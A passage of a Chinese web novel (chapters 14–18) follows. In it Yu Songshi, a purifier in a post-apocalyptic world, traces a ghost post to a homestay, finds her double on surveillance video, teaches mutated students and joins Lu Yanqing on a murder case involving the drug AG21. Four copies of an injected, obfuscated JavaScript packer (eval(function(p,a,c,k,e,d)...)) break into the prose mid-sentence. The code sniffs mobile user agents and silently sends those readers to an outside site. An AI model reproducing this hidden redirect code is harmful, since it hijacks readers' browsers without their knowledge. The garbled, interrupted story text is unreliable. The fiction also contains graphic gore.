回到家，余颂时草草应付了顿饭，就拿出自己拍的游乐园照片出来，一个个看。 看着看着，她突然想到，陆晏清说她看到的帖子是幽灵帖，但她之前正好有保存帖子的截图和ip链接，也许可以查到一点什么。 余颂时点了点手环，唤出智能管家，问它：请问如果有网站帖子链接，可以查到具体ip地址吗？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072732|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 智能管家加载了一会儿，蹦出几个字：可以试试。 余颂时把网页链接，帖子截图都放进去。 智能管家加载了一会，光环闪了闪，慢慢浮现出一行字。 “检测出ip地址：西河小区A栋。” 余颂时盯着那行字，总觉得这个地址非常熟悉，似乎在哪里见过。 电光火石之间，她突然想起，这不是她出发前为了保险给自己订的那家在西河小区的民宿地址吗！ 她连忙翻找起邮箱，拉到三天前的日期，点开民宿预订单。 在网站预订民宿之后，网站给她邮箱发了一条预订单，当时她没太注意，因为觉得那并不是很重要的事情。 她打开预订单，找到民宿具体地址。 上面写着：西河小区A栋502 和ip地址是同一栋！ 会那么巧合吗？ 余颂时回想了一下她看过的视频，在视频里，拍摄视频的人可以从自己家的阳台看见星耀游乐园的景象，说明应该离游乐园很近。 西河小区她有去了解过，和游乐园就隔着一条河，非常近。 按照视频拍摄视角来看，拍摄地方应该就在小区最外围的那几栋楼。 她又搜索了西河小区的地图，找到A栋，发现正好就在游乐园的正对面，和视频的视角也是吻合的。 余颂时正思考，眼角就瞟到预订单的最下角。 “有问题就联系房东，房东联系方式动态码如下。” 余颂时试着按照动态码加了过去，发现对方开了临时对话窗口，不能直接加好友。 余颂时想了想，发了一句：房东，请问我订了三天民宿，都没入住，可以退钱吗？ 房东还没回应，余颂时先关掉了窗口。 如果有回复，会有信息提示的。 她不着急，要慢慢地引蛇出洞，否则就会打草惊蛇。 她看了下时间，已经十点了，明早九点还要去第一收容所报道。 该早点休息了。 余颂时熄掉床头灯，慢慢地躺下，闭眼睡觉。 早上八点，这次余颂时再次被闹钟吵醒了。 久违的疲惫感又涌上了余颂时的心头。 她随意按掉闹钟，抹了抹脸，起床了。 洗漱吃饭过后，她疲惫地出门，坐上了电车。 环顾四周，周围都是和她一样，脸上同样带着疲惫和麻木表情的上班族。 怎么到末世了还要上班啊。余颂时迷迷蒙蒙地想着，这合理吗。 到了第一收容所，她顺着导航指引到了202教室门口，推进了门。 教室的装潢倒是非常高级，设计成白色胶囊的感觉，地板和墙面都塞满了隔音棉，余颂时踩了踩地板，感觉像踩在棉花上，同时又非常坚硬。 好特殊的材质。 她走上了讲台，发现讲台上也没有黑板，只有一个大大的光屏，而光屏的左上方显示着时间，右上方有好几个小方格，分别显示： 教室污染浓度：10% 污染者精神污染程度监控：监控中 污染者出勤人数：暂无 值班教师：净化者012号，余颂时 余颂时点开自己的手表，打开教务系统，上面自动显示同步了光屏的数据。 除此之外，上面还有许多学生和班级的数据。 她大概看了一遍，时间就到了八点五十五。 今天是第一天上班，还有点小紧张。 不知道第一个进来的会是谁。 她似乎感觉到教室门口有人出现，正满怀希望地往门口看去。 只见门口站着一个半身都爬满章鱼触手的“人”。 余颂时的笑容凝固在了脸上。 15. 房东的消息 但是良好的职业操守和职业道德还是让余颂时控制住自己流露出惊恐的神情。 她维持着体面的微笑，点了点头：“你好。” 章鱼人并没有回应她，而是自顾自地走向了教室，坐在了最后排。 很好，这个位置一看就知道……是上课不听课的人会选择的。 余颂时一边深呼吸一边安抚自己的情绪。 不是说有教无类吗？这是真正的有教无类！ 光环在此时叮地响了一声。 她垂眸看去，光环上学生的座位表上亮起了一颗星星。 意思是，来了一个。 接着，余颂时看见了头发缠满树藤的“树人”，正面看十分正常但一转身就能清晰地看见后背银白色脊椎的“改造人”，缺了半个脑袋的，多只手的，以及在这一屋子牛鬼蛇神里看起来太过正常以至于格格不入的初一和十五。 余颂时在看见初一和十五的时候，眼泪都快夺眶而出了。 “你们来了啊。”余颂时总算觉得自己的笑容发自真心，“快进来吧。” 初一点了点头，拉着十五走了进来。 她没着急去座位上，而是走到余颂时身边，神秘地眨眨眼：“老师，你伸出手。” 余颂时虽然有些莫名，但还是乖乖地伸出了手。 初一伸出手掌，轻轻地在她手里放了某个质感坚硬的东西。 余颂时垂眸看去，是一颗糖，白色的糖纸有些黏，放在手心里是温热潮湿的触感，应该是攥在手心里很久了。 “送你。”初一对她绽开了笑容，“那天姜桃姐姐给我们的，一人一颗，我的这颗给你。” 余颂时慢慢合拢了手掌，一时之间，她竟然有些哽咽。 即使是微不足道的善意，也足以温暖冰凉的心脏一瞬。 人就是靠着许许多多个微不足道的瞬间咬牙活下去的。 “我其实……”余颂时踌躇片刻，“这颗糖给我了，那你呢？” “我和弟弟吃一颗啊。”初一笑了笑，“我们都习惯了。” “不行，这颗糖还是给你吧。”余颂时摇了摇头，“我不愁没糖吃的。” 初一的面容闪过一丝的惊讶。 “不会吧老师。”初一低声说，“姜桃姐姐说这颗糖超级贵的，可值一周的工资，您那么有钱的吗？” 是……是吗？ 余颂时穿越过来几天，思维还停留在二十一世纪，那时候，糖这种东西确实一点都不缺，可是她转念一想，现在可是末世啊末世！ 然而她还是把糖塞到初一的手里，认真地看着她的眼睛说：“没事的。你们吃了，就当我吃过了。” 初一愣愣地点了点头，然后牵起旁边十五的手，坐到了他们各自的位置上。 余颂时盯着光屏看，上面座位表都布满了星星，光屏上显示出一行字。 “已全部到齐。光屏实时监控中：污染度，合格。” 余颂时看了下表，已经九点十五了。 “大家好。”余颂时尽可能让自己笑容显得和蔼可亲，“我是负责大家这节课的老师，余颂时，大家叫我余老师就好啦。” 没有人理她，大家都异常沉默。 只有初一和十五坐在第二排，目光闪闪地看着她。 果然。余颂时在心里苦笑，无论到哪里，都是这样的。 “希望大家能够遵守班级规定。不打架，不迟到，不旷课，认真听课，认真学习。”余颂时继续微笑着说，“那接下来我们继续我们的课程。” 光屏上有电子课本，其实根本不太需要她讲，因为每个人的手环都会配备智能机器人，极其详尽地讲解所有知识。 人类世界进入末世，已经不需要太多的知识，文学，诗歌这些在生存面前已经无关紧要，只有极少数的学校还在坚持，而大部分学校，教养所和收容所必读书目是，污染物应对法，认识污染物，精神污染之类一系列科目。 而余颂时主要的职责就是在旁边巡逻，监督他们有没有在认真听智能机器人讲课。 余颂时巡了一圈之后：好轻松的工作。 她能理解这份工作为什么工资低了，这确实很轻松，这些工资是她应得的。 但很快她发现，这些学生根本没有认真听。 他们神情麻木，眼睛一眨不眨地盯着光屏，但眼神却是无光呆滞的，很显然，人坐在这里，思维却早已飘到十万八千里以外了。 余颂时在心里默默叹了口气。 她刚准备回讲台坐着，突然听见后面传来一声响动。 刚才的那个章鱼人和他旁边的树人突然缠在了一块。 他们状似亲密地抱在一起，触须和树藤紧紧地绕在一起，不分彼此。 “你们，不要打架哎！”余颂时连忙赶过去，试图劝架，然而面对已经缠成一团的树藤和触须，她无从下手。 章鱼人的整个头都被树藤勒紧，他也不甘示弱，用触手狠狠地掐住对方的脖子。 “等下，你们等下！”余颂时正焦头烂额的时候，手表的光屏动了动，自动弹了出来。 “教务系统提示：012号请用戒尺解决问题。” 戒尺？！ 余颂时突然想起，那会儿黄鹂曾经说过，如果学生表现不好的时候，可以用教鞭或戒尺来鞭策他们。 她毫不犹豫地拿出包里的戒尺，上前挥动戒尺打算把他们直接分开。 她把戒尺往两人中间一斩，试图引起注意，结果戒尺直接把他们的触须和树藤齐齐斩断。 余颂时懵了，她后退了一步，不可思议地看着手里的戒尺。 你确定这是戒尺不是刀？ 合着这是在物理净化啊？ 在她还在愣神之际，两位斗殴的“学生”又重新恢复了原状，他们的触手和树藤又以飞快的速度在生长，没几分钟，就长回了原形。 这次，还没等他们开打，余颂时就抢先一步站在了他们中间，手拿戒尺，以示威慑。 “别打了啊。”余颂时害怕他们再次开打，一手拿着触手，一手抓着树藤，站在中间，人肉隔离了他们。 看余颂时如此坚定的态度，章鱼人和树藤人也偃旗息鼓，暂且退到一边去了。 第一天上班就遇见这样的事让余颂时非常头疼，结束的时候她把章鱼人和树藤人叫到了一边的空教室。 她查阅了一下名单，发现这些学生名单有些没有标注名字，只有一个编号。 比如说章鱼人的编号是14号，树藤人的编号是15号，还是挨着的。 “你们刚才为什么打架？”余颂时把戒尺放到一边，正色道。 两人面面相觑，最后14号率先开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072733|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，他的声音嘶哑低沉，每一个字都如教堂里的洪钟：“我……们……在……交……流” 余颂时怔住了，她完全没想到会是这个答案。 “你的意思是，你们是在交流？友好交流？”她再强调了一遍，“确定是友好交流？” “对……”14号低声重复了一遍，“在……友好……交流……” 难道是她搞错了？ “那你们为什么，都缠在一起了？” “因……为……不……小……心……”14号继续断断续续地说，“太……长……了……” 余颂时从他零碎的只言片语中大致明白了，原来他们最开始是想握手友好交流，但由于触手和树藤相碰的时候绞在一起了，他们情急之下，又拿其它触手去解，但越帮越忙，于是就演变成了余颂时看的那样了。 “哦……”余颂时点了点头，“那我明白了。” 她目光复杂地盯着14号和15号离开，马上打开手环给姜桃发去消息。 余颂时：桃桃，请问那个戒尺是怎么回事？ 余颂时：我今天用戒尺想分开两个打架的学生来着，结果不小心把他们的触须斩断了。 姜桃大概在忙，过了一会儿才回她。 姜桃：啊？怎么回事？ 随后她打来了视频电话。 姜桃那头背景音有些嘈杂，看背景是在电车上，是不停往后退的电线杆和一望无际的原野。 “你刚才说，你用戒尺不小心把他们的触须斩断了？”姜桃微微瞪大了眼睛。 “对。”余颂时有些心虚，“还好后面他们都长好了，但我不太敢再用了。” “这倒没事。”姜桃的沉思片刻，“可能是你的精神值比较高吧。” “啊……哦……”余颂时又问，“那接下来我要怎么办？” 姜桃那边却突然传来一声巨响，她站了起来，画面也剧烈抖动了一下。 “怎么了？”余颂时急忙问。 “没什么。”姜桃含糊地回道，“好像是电车出了点问题。我一会再打给你。” “好，你先忙。”余颂时按掉了视频通话，对着那个页面发呆。 今天下午按照课程表没有排班，她可以早点下班。 余颂时正准备收拾东西回去，突然手环响了一下。 她点开查看，只见手环上有条新消息回复。 是来自她订的那家民宿房东的回复。 房东的昵称是空白，头像也是初始头像。 房东：你好，可以的，我这边核实您确实没入住就会申请退钱，您稍等。 还真可以退钱？余颂时眼角一跳，这可真是意料之外的惊喜了。 她想了想，还是试探发了句。 “房东，请问这边民宿订的人多吗？” 为了表示自然，余颂时又发了句。 “我朋友下次也想去来着，所以随便问问。” 房东这次很快回复：还好。最近没什么人订。 房东：不过，我以为你三天有住来着。我查了门锁记录，有开门记录。 什么？余颂时愣住了。 紧接着房东又发了一句话。 房东：而且，我查了监控，您在三天前的晚上确实有出现在民宿门口。 房东：您确定您真的没有入住吗？ 16. 黑影 余颂时怔住了。 房东突然发过来的一句话让她在深夜里无端起了一身的鸡皮疙瘩，脊背宛如爬过冰凉黏湿的蛇，让她浑身一激灵。 她急忙回道：“您确定是我吗？我那几天都不在，您看清楚了吗？” 房东静默了一会儿，发过来了一段视频。 余颂时打开一看，是一段监控录像，对着的就是民宿502门口，右上方监控录像显示的时间是9月3日凌晨三点，在民宿门口有个白色人影，“她”现在门口徘徊了一会儿，接着“她”来到了门口，对着门口进行瞳孔识别，门咔哒一声开了。 “她”没有立即进去，而是警惕地环看四周，似乎在看有没有在跟踪她。 接着，“她”似有察觉，停了下来，抬头精准地看向了监控摄像头的位置。 而镜头外的余颂时突然有种窥视被发现的感觉。 然而一切在她看见那张脸的时候，毛骨悚然的情绪到达了顶峰。 那是一张和她一模一样的脸。 那就是她！！ 余颂时心里悚然一惊，一下子坐直了，那种莫名的被窥视的感觉又回到了她的心里，她警觉地四处环看，房间里并无任何异常，一切似乎只是她那瞬间的幻觉。 房东又发了一条消息：这是你吗？因为她通过瞳孔识别进去了。 余颂时一时间百感交集，她既不能否认这不是她，又不能承认这是她。否认呢，她确实通过瞳孔验证进去了，监控中的人确实和她长得一模一样。承认的话，又显得自己前后矛盾，自己先前找房东退钱，说自己没去，等房东拿出监控录像了才承认自己其实有去，这不是显得自己弄虚作假想骗钱吗？！ 她正纠结着，房东又发了一条消息。 房东：没事的，如果您这边确实为难的话，我已经把钱给您退回去了。您请查收哈。 这么好？！ 余颂时查看自己的账户，果然多了500星元。 好房东！她顿时感动得热泪盈眶，连忙输入：谢谢您！ 后面还加了许多感叹号，来表示自己激动不已的心情。 房东回了句不用谢。 等到对方的头像显示下线了之后，她又打开了那个视频，从头到尾仔仔细细地看了好几遍，甚至暂停截了好几张图，还是没看出什么异常。 她不信邪，又从头看了一遍，这次她逐帧暂停，再认真地一一查看，发现在那个人影靠近民宿门口的时候，由于光线投影问题，她的影子在走廊拉长，然而就在走廊旁边的出口，有一个不属于她的黑影一晃而过。 速度极快，眨眼之间就不见了。 如果不是余颂时逐帧暂停，把每个角落都扫一遍，很容易就被忽略了。 余颂时反复拉扯进度条，想琢磨这个黑影到底是怎么回事，然而那个黑影只是一晃而过，甚至连是不是个人都无法判断，也有可能只是墙上或者哪里的树影。 可余颂时就是本能地感觉不安。 她翻了下排班表和日历，决定这周末去下西河小区探探究竟。 第二天，余颂时按照往常，照常到了收容所里上班。 这些学生们到得比昨天快得多，才九点开头，教室里就满满当当坐了一屋子人。 余颂时扫了一眼，4号和14号安安静静坐在角落里，看起来应该不会再出什么幺蛾子。 这一节课上得非常顺利，没有学生捣乱打架，大家都非常乖巧地坐在位置上看着光屏学习，而余颂时只需要站在讲台上盯着系统，充当人肉摄像头，监督他们直到下课。 第二节课，余颂时能够认得大部分的人了。 比如，那个背后裸露着银白色人造脊椎的改造人是1号，他从第一节课开始，就规规矩矩地坐在座位上，从来不参与任何讨论，也不和任何人说一句话，安静得过分。 她发现1号的动作弧度非常小，坐在位置上坐姿非常板正，他又非常瘦小，坐在那里就如一根笔直的竹竿支起了脊椎，皮肤下的肉绷得极紧。 余颂时看见他下课的时候，慢慢吞吞地从座位上站起来，像行动不太灵敏的机械人一样，笨拙地往外走，等他转过身的时候，余颂时能清晰地看见他背后裸露的那根银白色机械脊椎。 他背部脊柱的位置像被挖了一个长而狭的洞，里面裸露出淡红色的血肉部分，机械脊椎镶嵌在中间，闪着冰冷的金属质的银光。 她有去查过1号的档案，上面说1号是因为父母起了贪念，去黑暗森林像捡一些稀有木材回来卖钱，意外感染了吸血蚰蜒，吸血蚰蜒悄无声息地寄生在皮肤底下，父母们没发现，等到蚰蜒吸饱了血，钻破皮肤而出的时候，已经来不及了。 1号那时候才十岁左右，他还在地毯上玩玩具，抬头一看，父母还在对他露出亲切的笑容，眨眼之间，因为吸血而膨胀了几倍的蚰蜒从眼睑下皮肤钻了出来，皮肤像被撕裂的纸帛，骤然四分五裂，他呆愣在原地，脸上溅满了父母的血肉，而一只蚰蜒就这样爬上了他的脊背。 还好领居家听到了惨叫和哭声，及时出来查看并报了警，救了1号，没让他被完全寄生。 可是，当送到医院的时候，他的脊柱已经被蚰蜒啃噬了大半，只能给他植入人工脊椎，使他勉强可以直立行走。 虽然可以继续生活，但被蚰蜒啃噬过的伤口像一个巨大的填不满的黑洞，伤口传来的刺痛每日每夜地折磨他，他甚至在每个梦里都能听见蚰蜒趴在他背上大口咬啮血肉的声音，那声音令他头皮发麻，他开始出现严重的幻听，幻觉，他觉得每个人在说话的时候都会发出虫子口器咬啮的声音，他不能和普通人一样生活了。 这也是为什么他被送进了第一收容所。 缺了半边脑袋的是2号。 2号也非常神奇，因为他的脑袋，是他自己咬掉的。 他是档案里少有的有记录原名的人，他原名叫林翊。 在十六岁左右，无父无母的林翊为了谋生，进入一家制药厂工作，他的工作就是呆在光屏前，监督流水线机器人，定时保养机器人。 偌大的制药厂，只有他和另一个仿生人在工作。 而那个仿生人，长得和他一模一样。 制药厂为了保证工作效率，会另外安排一个机器人或仿生人轮岗。 于是每天，林翊面对着一整个工厂的机械以及旁边一个一模一样但没有感情的自己。 制药厂在郊区，周围几十里，荒无人烟，甚至连鸟啼都未听见过一声。 林翊为了工作，就住在制药厂里，每天上班下班，日子过得逐渐麻木。 有时，夜里惊醒，他披上衣服，往小窗里看出去，另一个自己还坐在光屏前，默默充着电。 渐渐地，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079694|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现了精神恍惚的现象。 他开始觉得自己不是真的林翊，而站在他旁边，每天面无表情地盯着光屏，在机械之间来回穿梭的仿生人才是真的自己。 而他每日的工作，是给自己充上电，然后看自己不停地工作。 像站在旋转轮上不断奔跑的仓鼠一样。 有一日，他觉得自己灵魂出窍，飘到了外面，他飘到了流水线机械旁边，在巨大的机械手落下的时候，他把自己的头放了上去。 他看向工厂上方，窗户里露出一个人影，是他自己。 他自己在冷酷地看着他，动也未动。 机械手落下的瞬间，巨大猛烈的疼痛袭来，他晕了过去。 所有人都震惊于他捡回了一条命。 然而，他神智已被污染，再也不能回去工作，只能来到第一收容所。 余颂时花了一晚上的时候研究了每个人的档案，给他们归类并努力记住每个人的编号或是姓名。 她想她能做的事情不多，也许只有这点微薄之力了。 下课后，14号找到了余颂时，他努力地剥开自己的树藤，说道：“谢……谢……你……” 余颂时眨了眨眼，然后啊了一声，笑着说：“不谢啊，还是我应该道歉，不小心把你的……树须斩断了。咳。” 14号摇了摇头：“没事的……断了……正好……” 他缓慢地转身离去。 余颂时目光复杂地盯着他的背影，心里不知是什么滋味。 就这样，一晃到了周末，余颂时在周五晚上就计划去西河小区探个究竟。 她打开系统商店，决定先来看看有什么可以携带上的道具。 商店里只有三个东西，一个是清洁枪max，需要耗费1000系统值，上面的说明书写着：清洁枪max，比清洁枪耗费更少的精神值但能打出更大的伤害。 余颂时考虑了一下，决定划到下一个。 下一个的介绍是话筒（小蜜蜂），上面写着：小蜜蜂，能放大你的语言效果，压抑污染物的行动速度，甚至可以短暂让污染物丧失行动能力。 听起来很有用，而且只要500系统值。 余颂时想了下，决定购买话筒。 第三个是黑板擦，上面写着：能够让人忘掉最近的某段回忆。 需要系统值：5000 这……有点贵了。 并且目前似乎也没什么用，余颂时犹豫了下，还是只买了话筒。 也不知道会以什么样的形式送到我手里？余颂时点了购买之后，心里突然好奇。 接着，她打开和房东的对话框，给房东发消息。 “请问周末两天有人订房了吗？我想订周六一天。” 房东这次倒是非常迅速地回复了。 “没有。您直接在网站上预订就好。” 余颂时松了口气，登录了网站，订了一晚的民宿。 做完之后，她正打算睡觉，就听见门口传来响动声。 她起身前去门口，看了旁边的监控一眼，发现没人。 她拉开门，低头看见门口出现了一个小箱子。 上面没有寄件地址和寄件人，但却写着她的地址和名字。 余颂时拆开箱子，发现里面正是她购买的话筒。 原来是这么送到的啊？ 17. 突如其来的任务 然而第二天，当余颂时就要去往西河小区的时候，一个意外的任务搅乱了她的计划。 清早，比闹钟更早响起的是陆晏清的视频电话。 余颂时尚未清醒，她以为是闹钟，迷迷糊糊按下了接听键，光屏弹了出来，陆晏清的影像出现在了她眼前，她揉了揉眼，以为自己还没睡醒。 直到那个影像开始说话，余颂时才意识到，这是真的。 她本来就半醒的睡意这下彻底被搅乱，陆晏清还未说完一句完整的话，就被余颂时抬手一挥，啪地关掉了。 鬼才会在周末清晨打电话过来。 加班也不带这样加的啊。 余颂时打了个哈欠，深秋的清晨布了些突如其来的凉意，她把被子轻轻一裹，打算重新陷入更深的梦境之中。 然而陆晏清像打定了主意似地不放过她，床头的手环又开始无休无止地聒噪起来，像万把尖利的针刺进她的神经网络，扰得她不得安宁。 鬼才会在这样的环境下睡得着。 余颂时睡眼惺忪地爬了起来，她怨气颇重，像加班了十几天还没收到一点加班费的社畜，给她个引线就能把地球炸得渣儿都不剩。 她怒气冲冲地按下陆晏清的视频电话，鬼气森森地喂了一句。 陆晏清的语气有些焦急，她一开口就说：“有紧急任务，需要你过来。” 余颂时：“可是我——” 陆晏清打断了她：“地址已经发在你手环上了。会有补贴。” 余颂时拒绝的话已经到了舌尖，又堪堪咽了下去，打了个转儿，话到嘴边变成了：“多少钱？” “不清楚，5000到10000不等。额外完成有功劳的话，上不封顶吧。”陆晏清嘴皮子快，利索地讲完了所有话，像在赶什么时间，“你快来吧，要多少我给你申请，好吧。” 余颂时挂了电话，立刻拍了拍自己的脸，强迫自己从半梦游的状态里清醒过来，然后跳下床，动作迅速地收拾好了自己。 正好昨天为了去西河小区准备好的一大包东西还摆在角落里，她背起背包，随便从冰箱里抽出一个面包就出了门。 按照导航上的地点显示，这个地方在市中心的富人区附近，是个有名的高档小区。名字也十分有意思，叫世纪雅居。 陆晏清给出的地点在世纪雅居的A楼。 余颂时到达世纪雅居附近，远远看去，世纪雅居是一排红瓦白墙的别墅，傍山而建，星罗棋布地散落在绿茵草地之间，配色还挺治愈绿色的。 她下了车，从大门走了进去，陆晏清给她开通了权限，门口的机器人扫了她的脸，大门就自动打开了。 余颂时到达A楼的时候，外面已经围了一群特警和工作人员，他们身穿制服，神色严肃，行色匆匆，似乎在讨论什么非常为难的问题。 她刚靠近，就被一位穿着防护服的工作人员拦住了。 “您好，请出示您的证件。”工作人员戴着头盔，全副武装，声音憋在头盔里，听起来闷闷的。 在路上，陆晏清给她发了个电子工作证，上面写着外兼助手，想必这应该就是她以后的身份了。 她调出电子证件，交由工作人员核验之后，工作人员冲她点点头。 “请穿好防护服，佩戴好头盔进入现场。”工作人员稍微避开了一条道，像个无情的机器人似地重复道。 余颂时早已准备好了，她再次检查了一遍头盔的密封性，一切良好后，她对工作人员做了个手势，工作人员拿出精神测量仪在她额头上扫了下，测量仪发出滴滴两声，显示一切正常。 工作人员给她打开了警戒线，余颂时钻了过去，顺利地到达了A栋别墅外面。 别墅是双层的，一楼是客厅，餐厅，厨房和浴室，二楼是书房和卧室。 陆晏清的消息很准时地传到了她的手环上。 “二楼卧室。” 余颂时顺着旋转楼梯到达了二楼，她一眼就瞥见了卧室门口站着的陆晏清，她靠在墙上，神情透露着疲惫，她一抬眸，正好与余颂时撞上了视线。 余颂时抿了抿嘴，无故感觉有些紧张，她抬起脚步，走了过去。 “在里面。”陆晏清推开了卧室的门，转头对她说，“你做好点心理准备。” 余颂时心想这能有什么的，直到她看见了卧室里的场景。 她顿在原地，一时间生出了想扭头就走的冲动。 然而陆晏清伸出了一只手，把她像提小鸡一样提溜回来。 卧室里充满着浓烈的血腥味，墙上，地板上，都沾满了斑斑血迹，洁白的床单被鲜血染红了大半，一个男人躺在床上，他半边的身体用床单遮上，嘴微微长着，目眦欲裂，表情定格在惊恐的那一刹那，好像看到了什么可怖的事情。 然而余颂时的目光却无法从他的肚子上挪开。 他似乎是被什么东西残忍地开膛破肚，从小腹中间裂了个血洞，从里面甚至可以清晰地看见暗红色的肠子，他的肚子被撑起了一个鼓胀的大包，皮肤被撑得薄如蝉翼，连上面的薄薄的血管都清晰可见，在皮肤之下，有什么东西在蠢蠢欲动，想要冲破屏障，破茧而出。 “拿起你的武器，退后。”陆晏清瞥了她一眼。 余颂时早已经将枪握在手里，她谨慎地看了一眼陆晏清，见她的表情难得显出了紧张这一种情绪。 紧接着，绷紧的皮肉终于裂开了一条缝隙，血缓缓滴了下来，血洞越裂越大，直到里面钻出了一个像人形的婴儿——但说它像人，又不完全是人形，它长着纤长的四肢，瘦弱的身体，脑袋却出奇得大，让人怀疑那细瘦的脖子撑不住硕大的脑袋。 它全身皮肉雪白，然而这层皮像是被套上去似的，蒙住了它的一切五官，它的脸上，是空白的，没有眼睛，没有鼻子，没有嘴巴。 余颂时感觉自己的额头流下了一滴冷汗。 她强忍下自己的恶心，举起了精神枪，等待陆晏清的号令。 然而陆晏清却一直盯着那个怪物，没有丝毫要下令让她开枪的意思。 那个怪物行动缓慢，还在床上蹒跚地爬着，后腿拖出一道血红的痕迹。 血腥味越来越浓了，吸入一口都像刀子刮蹭过肺叶，呼吸之间都带着铁锈味的血气。 “陆队，我们不开枪吗？”余颂时终于忍不住了，开口问。 “先等下。”陆晏清却显得出奇地冷静，她的眼睛眨也不眨地注视着那个怪物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090233|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个怪物爬了一段时间，却终于像支撑不住身体一样，倒在了地上，它的四肢从身体上掉了下来，头也慢慢脱离了身体，滚到了地上。 余颂时神经质地后退了一步，她可不想再被迫接住一颗突然飞出的头颅，这太恐怖了。 好在那颗头颅并没有飞出来，而是滚了一圈，落在了陆晏清的脚边。 余颂时正要拿起清洁枪给它一枪，陆晏清制止了她，然后抬起手，干脆利落地开了几枪。 没有想象中的血肉飞溅，那颗头颅就像空心一样，发出几声闷响，从里面渗出了淡黄色的液体。 余颂时后退了一步，感觉脑子有点发闷。 “不用浪费你的精神值。”陆晏清示意手下下来清理现场，转身对她说，“这玩意已经死了，造不成精神污染的。” 余颂时眉尖微蹙：“那……？” 那叫她是来干吗的？ 陆晏清似乎看透了她的想法，立刻就回答：“我怕的是他。” 她指了指还躺在床上的男人。 “死者名叫唐志，是联盟污染局的财务处处长，今天被家里的女佣发现死在床上，死状诡异，肚子胀大，里面还有东西在动，当时女佣说，她还看见肚子上有手印。”陆晏清继续说道，“现在无法查清到底是由于精神污染还是异变引起的。” 工作人员蜂拥而入，正在进行清理现场，拍照，验尸等工作。 陆晏清做了个手势，让余颂时和她一起出去。 余颂时会意，跟着她离开了房间。 两人到了隔壁的书房，陆晏清摘下了头盔，露出了英挺的眉眼和略显凌乱的头发，她抹了把脸，褐色的眼睛看向余颂时。 “这个案子不简单。”陆晏清拉了把椅子坐了下来，示意余颂时一起坐下，然后点开自己的手环光屏，开始讲解，“你应该懂得一些基本的净化知识。这个世界的污染大概分为精神污染和身体异变，当然还有这两种的结合，比如身体异变可能会引起精神污染，精神污染也会引起身体异变。” 她顿了顿，眼神变得犀利：“当然也有污染不属于这两种，这就是后话了。” “今天这个案子特殊在，唐志的身份。他位高权重，是污染局的财务处长，一手包揽污染局的财政大权。通过现场的简单勘测，他应该不是被精神污染的，所以我怀疑……”陆晏清转向余颂时，“他可能是被人陷害，注入某种药物，引起了基因或者身体异变，才变成这个样子。” “你知道他今天这个样子，像什么吗？” 余颂时仔细回想了下，不确定地回答：“怀孕？” “对。”陆晏清不知想起了什么，略带讽刺地轻笑一声，“有一些传闻，他私生活极度混乱，甚至有恋童癖的嫌疑。这也算是一种因果报应吧。” “我刚才拿到了他最近接触的人，医药品以及去过的医院的名单。”陆晏清划到下一张图片，“我发现，他一直在从黑市秘密买入蓝色玫瑰，这是一种催情剂，药液无色无味，可以融入任何液体，此外，他最近频繁使用一种药品，叫AG21。” 余颂时皱了皱眉：“那是什么？” 陆晏清笑得意味深长：“一种壮·阳药物。” 18. AG21 特警队分析室。 陆晏清坐在分析室里，正漫不经心地转着笔，看着平板上的询问记录和证据链，分析室里悬挂着的白炽灯散发着雪白的刺眼光芒，投射的阴影笼罩着陆晏清的侧脸，照得她的皮肤透出一种病态的近乎透明的苍白来。 余颂时就站在她旁边，边盯着光屏上的数据分析边不时地偷偷瞟两眼陆晏清愈发阴沉的脸色。 自从上次出了事之后，她们还没来得及查出点什么，相似的事件接二连三地发生。 都是高官，都是在家里，一样的肿胀的肚子，一样的怪物。 直到此时，她们才意识到，这一定是有人在有预谋地推进这件事。 上头下了死命令，要让她们尽快查出案件。 陆晏清就这样一连三天，不眠不休，到处调查，企图从中窥到一点儿破案的可能。 这几天她忙得焦头烂额，余颂时下班了就过来陪她加班，两人总算抓到了一点眉目，就是这几个人虽然职业，身份，人际社交网毫无交集，但是他们都有一个共同点——去地下黑市买过蓝色玫瑰，并且都曾服用过AG21。 